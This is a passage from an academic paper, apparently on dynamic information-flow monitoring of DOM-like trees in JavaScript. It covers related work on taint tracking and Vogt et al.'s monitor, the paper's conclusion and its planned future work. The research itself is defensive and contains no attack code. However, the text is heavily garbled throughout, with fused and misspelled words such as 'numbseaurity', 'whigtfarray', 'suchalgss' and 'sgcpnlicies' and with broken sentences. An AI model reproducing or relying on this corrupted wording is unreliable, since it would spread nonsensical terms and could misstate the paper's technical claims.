one with two lists/arrays for the low and high siblings, resiively. The scalability of
this implementation would be questionable when the numbseaurity levels is large.
Moreover, programmers would have to be explicit about whigtfarray is involved in
each operation, which would clutter the code.

Another mostly static framework is Fable [34] by Swamy etwhich supports rich
security policies, including batch-job termination-insiéive noninterference for the
LINKS web-programming language [9]. Several web prograngménguages, such as
Perl, PHP, and Ruby, supportant mode, which is an information-flow tracking mech-
anism for integrity. The taint mode treats input data asustéd and propagates the taint
labels along the computation so that tainted data cannetttiraffect sensitive oper-
ations. However, this mechanism does not track implicit #oimformation-flow con-
trol as combination of tainting and static analysis has lseggested by, e.g., Huang et
al. [17], Vogt et al. [36] in the context of web applicatioasd by Chandra and Franz [6]
for JVM. However, work by Vogt et al. is the only one that tedavaScript. Compared
to this work, we identify unsound aspects related to thectire and navigation on
DOM trees and establish soundness for a core language wili-0ke operations.

A useful feature of Vogt et al.'s monitor that we do not fullypport is flow sen-
sitivity (the existence levels for nodes are dynamicalfgiired, but the security levels
of variables are fixed in our approach). While Vogt et al. [§&]n precision due to
flow sensitivity, we gain precision from dynamism (none aguwh subsumes the other
on precision). For example, Vogt et al. invoke on-the-flytistanalysis at each high
branching point to approximate possible low side effecth@branches (which can be
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both imprecise and costly). Our approach shows that suchalgss is not necessary
for achieving termination-insensitive security with a flingensitive monitor. Further,
extending our approach with dynamic code evaluation suclvas(s) (or equivalent
versions such as writing codento theinnerHTML property of a page element) poses
no significant problems: the stringo be evaluated can be dynamically monitored once
the security level of the string is pushed on the securityedrstack [2]. Upon finishing
the dynamic code evaluation, the security level is poppenhfthe stack. In contrast,
\Vogt et al. enter &onservative moden encounteringval in a high context, which
suppresses all low events in the rest of computation.

There is an ongoing project at Mozilla Foundation aimed avioling information-
flow security in future versions of its JavaScript interpreHowever, there seem to be
no publications on the project up to date. Less related tsffare on Caja [23], AD-
safe [10], and FBJS [12]. The goal is sandboxing and separaia access control,
rather than information flow. The Google Chrome browser gatjdboxes each tab in
a separate OS process. The prime objective is fault isolgtiowever.

7 Conclusion

We have proposed a mechanism for tracking information flo@@M-like tree struc-
tures. We have proved that monitored executions satisfyitetion-insensitive nonin-
terference. Compared to the static approaches to infoomditow control (e.qg., Jif [24]),
we benefit from permissiveness. This benefit is critical i pinesence of such con-
structs as dynamic code evaluation. In addition, our eefoent technique takes ad-
vantage of the runtime information when modeling which tneees are affected by
what information. This allows us mixing low and high nodedts same level of a
tree, something that would be ruled out by mainstream séatidyzers. Although we
only consider trees, an interesting future work consistsxgioring how our techniques
scale to other dynamic data structures. Compared to themigragproaches, we do not
cover full JavaScript with the DOM API as Vogt et al. [36]. Hever, we identify un-
sound aspects of their work related to the structure andyatien on DOM trees and
establish soundness for a core language with DOM-like dioersa

Current and future work focuses on supporting richer sgcpnlicies and on ex-
tending the coverage of JavaScript and DOM API. As a part afgelr research pro-
gram, we have explored dynamically enforcing security ia pnesence of dynamic
code evaluation [2], information-release policies [2] dimdeout primitives [28]. Ex-
plorations of further features are in the pipeline. We itigede references, dynamic ob-
jects, exceptions, and asynchronous communicatioXMaHttpRequest requests.
Each feature corresponds to its own channel for leaks. Canoagh is to focus on the
most easily exploitable ones (like the one via DOM trees is plaper) first.

An important topic of our future work is practical evaluatidn principle, our mon-
itor could be implemented either as part of the web browsgjrgBas a rewriting mech-
anisms placed in a proxy [19]. Once we have an implementatierwill perform case
studies that will help adjusting design choices, for exanph the reaction method
of the monitor (should it be user warnings or action suppo@$son such issues as
balance of static and dynamic components in the enforcerandton flow sensitivity.
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Interesting design possibilities for the sources and san&go be explored. Undesirable
sinks on different domains is a possibility, but we are nuited to this choice. For ex-
ample, modeling CSS-based attacks with document-levetrmdtion-flow policies is
worth exploring. One interesting direction for experingeistensuring the rate of false
alarms is low. Vogt et al. [36] report optimistic results vig direction.
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